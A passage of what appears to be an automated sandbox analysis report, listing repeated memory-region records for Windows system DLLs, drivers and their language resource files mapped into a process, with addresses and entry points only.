0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5757 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5758 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5759 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5760 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5761 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5762 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5763 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5764 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5765 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5766 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5767 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5768 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5769 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5770 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5771 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5772 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5773 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5774 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5775 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5776 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5777 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5778 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5779 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5780 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5781 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5782 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5783 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5784 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5785 start_va = 0xe00000 end_va = 0xe24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5786 start_va = 0x11d0000 end_va = 0x124efff monitored = 0 entry_point = 0x11d5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5787 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5788 start_va = 0x11d0000 end_va = 0x122bfff monitored = 0 entry_point = 0x12163d0 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5789 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5790 start_va = 0x11d0000 end_va = 0x122bfff monitored = 0 entry_point = 0x12163d0 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5791 start_va = 0xe00000 end_va = 0xe00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5792 start_va = 0x11d0000 end_va = 0x126efff monitored = 0 entry_point = 0x122ec60 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5793 start_va = 0xe00000 end_va = 0xe00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5794 start_va = 0x11d0000 end_va = 0x126efff monitored = 0 entry_point = 0x122ec60 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5795 start_va = 0xe00000 end_va = 0xe28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5796 start_va = 0x11d0000 end_va = 0x12b3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5797 start_va = 0xe00000 end_va = 0xe28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5798 start_va = 0x11d0000 end_va = 0x12b3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5799 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5800 start_va = 0x11d0000 end_va = 0x1272fff monitored = 0 entry_point = 0x1254010 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5801 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5802 start_va = 0x11d0000 end_va = 0x1272fff monitored = 0 entry_point = 0x1254010 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5803 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5804 start_va = 0x11d0000 end_va = 0x1298fff monitored = 0 entry_point = 0x1287010 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5805 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5806 start_va = 0x11d0000 end_va = 0x1298fff monitored = 0 entry_point = 0x1287010 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5807 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5808 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5809 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5810 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5811 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5812 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5813 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5814 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5815 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5816 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5817 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5818 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5819 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5820 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5821 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5822 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5823 start_va = 0xe00000 end_va = 0xe08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refs.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\refs.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\refs.sys.mui") Region: id = 5824 start_va = 0x2610000 end_va = 0x2806fff monitored = 0 entry_point = 0x27e6010 region_type = mapped_file name = "refs.sys" filename = "\\Windows\\System32\\drivers\\refs.sys" (normalized: "c:\\windows\\system32\\drivers\\refs.sys") Region: id = 5825 start_va = 0xe00000 end_va = 0xe08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refs.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\refs.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\refs.sys.mui") Region: id = 5826 start_va = 0x2610000 end_va = 0x2806fff monitored = 0 entry_point = 0x27e6010 region_type = mapped_file name = "refs.sys" filename = "\\Windows\\System32\\drivers\\refs.sys" (normalized: "c:\\windows\\system32\\drivers\\refs.sys") Region: id = 5827 start_va = 0xe00000 end_va = 0xe30fff monitored = 0 entry_point = 0xe1f010 region_type = mapped_file name = "smbdirect.sys" filename = "\\Windows\\System32\\drivers\\smbdirect.sys" (normalized: "c:\\windows\\system32\\drivers\\smbdirect.sys") Region: id = 5828 start_va = 0xe40000 end_va = 0xe47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smbdirect.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\smbdirect.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\smbdirect.sys.mui") Region: id = 5829 start_va = 0xe00000 end_va = 0xe30fff monitored = 0 entry_point = 0xe1f010 region_type = mapped_file name = "smbdirect.sys" filename = "\\Windows\\System32\\drivers\\smbdirect.sys" (normalized: "c:\\windows\\system32\\drivers\\smbdirect.sys") Region: id = 5830 start_va = 0xe40000 end_va = 0xe47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smbdirect.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\smbdirect.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\smbdirect.sys.mui") Region: id = 5831 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5832 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5833 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5834 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5835 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5836 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5837 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5838 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5839 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5840 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5841 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5842 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5843 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5844 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5845 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5846 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5847 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5848 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5849 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5850 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5851 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5852 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5853 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5854 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5855 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5856 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5857 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5858 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5859 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5860 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5861 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5862 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5863 start_va = 0xe00000 end_va = 0xe13fff monitored = 0 entry_point = 0xe014c0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 5864 start_va = 0xe20000 end_va = 0xe21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 5865 start_va = 0xe00000 end_va = 0xe13fff monitored = 0 entry_point = 0xe014c0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" 